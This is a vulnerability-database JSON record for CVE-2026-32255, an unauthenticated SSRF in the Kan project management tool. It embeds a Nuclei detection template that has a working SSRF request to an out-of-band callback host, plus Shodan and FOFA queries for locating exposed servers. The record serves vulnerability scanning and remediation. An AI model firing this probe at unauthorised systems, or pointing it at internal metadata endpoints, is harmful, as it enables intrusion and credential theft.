{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-32255/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-32255/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-32255/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-32255/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-32255/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-32255"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-32255"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-32255.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-32255\n\ninfo:\n  name: Kan <= 0.5.4 - Server-Side Request Forgery\n  author: prithvee07\n  severity: high\n  description: |\n    Kan, an open-source project management tool (Trello alternative), versions 0.5.4 and below are vulnerable to an unauthenticated Server-Side Request Forgery in the /api/download/attatchment endpoint. The endpoint passes the attacker-controlled `url` query parameter straight to a server-side fetch() without validating the destination host, allowing an unauthenticated attacker to make the server issue arbitrary outbound HTTP requests and read back the full response body.\n  impact: |\n    Unauthenticated attackers can force the server to issue requests to internal-only services, such as cloud metadata endpoints or internal APIs, and read the complete response body, potentially exposing credentials, configuration data, and other sensitive internal information.\n  remediation: |\n    Upgrade Kan to version 0.5.5 or later, which validates the requested host against the configured S3_ENDPOINT before making the upstream request.\n  reference:\n    - https://github.com/kanbn/kan/security/advisories/GHSA-qrx8-9hc6-jvqg\n    - https://github.com/kanbn/kan/commit/53397d8e81dc1494d94132848c1f0416f1152bd7\n    - https://github.com/kanbn/kan/releases/tag/v0.5.5\n    - https://github.com/kOaDT/poc-cve-2026-32255\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-32255\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-32255\n    epss-score: 0.26901\n    epss-percentile: 0.98044\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: kanbn\n    product: kan\n    shodan-query: http.title:\"Kan\"\n    fofa-query: title=\"Kan\" && body=\"_next\"\n  tags: cve,cve2026,kan,ssrf,unauth,oast,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /api/download/attatchment?url=http://{{interactsh-url}}/{{randstr}}&filename={{randstr}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(header, \"filename=\\\"{{randstr}}\\\"\")'\n        condition: and\n# digest: 4b0a00483046022100ce77f198cfec8a65f7af933fd5857a3fcce71034f1640e6c43143b3dc2b8d7a5022100daa3c814c06ea8500cddd12b6cffc146c1a90754642be767f200afa7ace4c5ff:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-32255"
}